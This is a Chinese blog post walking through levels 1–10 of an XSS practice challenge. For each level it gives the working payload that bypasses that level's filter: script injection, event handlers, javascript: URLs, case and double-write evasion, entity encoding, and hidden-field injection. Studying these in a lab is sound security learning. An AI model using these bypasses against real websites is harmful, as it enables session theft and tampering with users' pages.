freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XSS挑战之旅(1-10)
2022-09-29 20:35:40

1664454351_63358ecf2f52c94a5e27f.png!small1664454357_63358ed5591c8a19fa835.png!small

https://xssaq.com/yx/level1.php?name=test

此处网页上的“欢迎用户”后面的值由后面网址的name的值提供,即在"?name="后面输入的值会在网页上显示出来且没有任何过滤。所以可以直接用script标签。

https://xssaq.com/yx/level1.php?name=<script>alert(1)</script>1664454376_63358ee8bb6d2998fd2cd.png!small1664454383_63358eefdf4670c3a174a.png!small

input标签的value通过输入框赋值,可以考虑先闭合

"><script>alert(1)</script>1664454396_63358efc571e640ce8b77.png!small1664454400_63358f0086df26b989621.png!small

对<>进行了转义

' onclick=alert(1)1664454412_63358f0c430e56eb0ab7a.png!small

还需要过滤后面的内容

' onclick=alert(1)//1664454436_63358f242aaf34c201a51.png!small1664454440_63358f28422da458f0cd8.png!small

记得需要点击搜索框1664454453_63358f35216274bf4b14a.png!small1664454458_63358f3ad811c15af402c.png!small

发现过滤了<>

" onclick=alert(1)//1664454470_63358f4636e31fbe3e1e5.png!small1664454474_63358f4a4e553cbad6f82.png!small1664454478_63358f4e880bd63b7964d.png!small1664454483_63358f536f91baeff4a13.png!small

<>没有被过滤,script、onclick和onmouseover—>scr_ipt、o_click和o_nmouseover

"><a href="javascript:alert(1)">666</a>1664454494_63358f5eb7482c72123fe.png!small1664454536_63358f884f1d542debb5c.png!small

此题不需要过滤后面的">

输入<script>alert('1')</script>

发现script被加了下划线

onclick和onmouseover同样如此

但<>并没有被转义1664454553_63358f999b3accf715f4c.png!small

尝试上题使用的方法

"><a href="javascript:alert(1)">666</a>1664454565_63358fa5c5000700f4367.png!small

发现href被过滤

经尝试后发现,此题可以通过大小写绕过

href、onclick、onmouseover和script大写都可以1664454574_63358faeb6df23ee99e5b.png!small1664454580_63358fb49b245a3a6829f.png!small

onclick记得要点一下

输入<script>alert(1)</script>

发现script和href被过滤

onclick和onmouseover被加了下划线1664454605_63358fcda2da387fdec49.png!small

"><a Href="javascriPt:alert(1)">666</a>1664454616_63358fd84154afaa0e372.png!small

尝试大小写也不可以

此时可以通过双写绕过

"><a hhrefref="javascscriptript:alert(1)">666</a>1664454626_63358fe2137f3ecd33a97.png!small1664454631_63358fe7ebd4a85ce58d0.png!small

输入上题的答案1664454641_63358ff150c70f5012bdf.png!small1664454645_63358ff54559c0ae09c86.png!small

尝试后发现,此题仍对on,script和href添加了下划线,对双引号也进行了编码

查看页面代码后,发现输入的内容会进入到已有的a标签中的href中。因此我们不需要像以前一样闭合input标签,再添加a标签,我们可以直接输入javascript:alert(1)。1664454654_63358ffeb526139631241.png!small

但是大小写或者双写都不能成功

这里可以将script的所有或者一个字母进行实体编号绕过

该块暂时无法转换。

javascript:alert1664454669_6335900d80a8c6cb15618.png!small

得到第九关的链接

https://xssaq.com/yx/level9.php?keyword=not bad!1664454679_633590179c4650cfe2d14.png!small

输入第8关的答案后提示:链接不合法1664454687_6335901fc9ff64053621d.png!small

在level-8的基础上,增加了URL的自动检测,如果发现添加友情链接中没有带http://内容则会显示为不合法

if(false===strpos($str7,'http://')){
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

所以可以在上一题的基础上末尾添加http://即可

javascript:alert//http://   (利用注释)1664454719_6335903feaa0de9817e6c.png!small1664454725_633590455621424035e96.png!small

打开题目后发现没有输入口

查看源码1664454736_63359050974e02c300881.png!small

发现有三个input标签设置为hidden,尝试利用这三个标签完成攻击

test&t_sort="type="submit" onclick="alert(1)1664454755_63359063801157b6f87f7.png!small1664454759_63359067c6f2a201218fa.png!small

# 网络安全 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者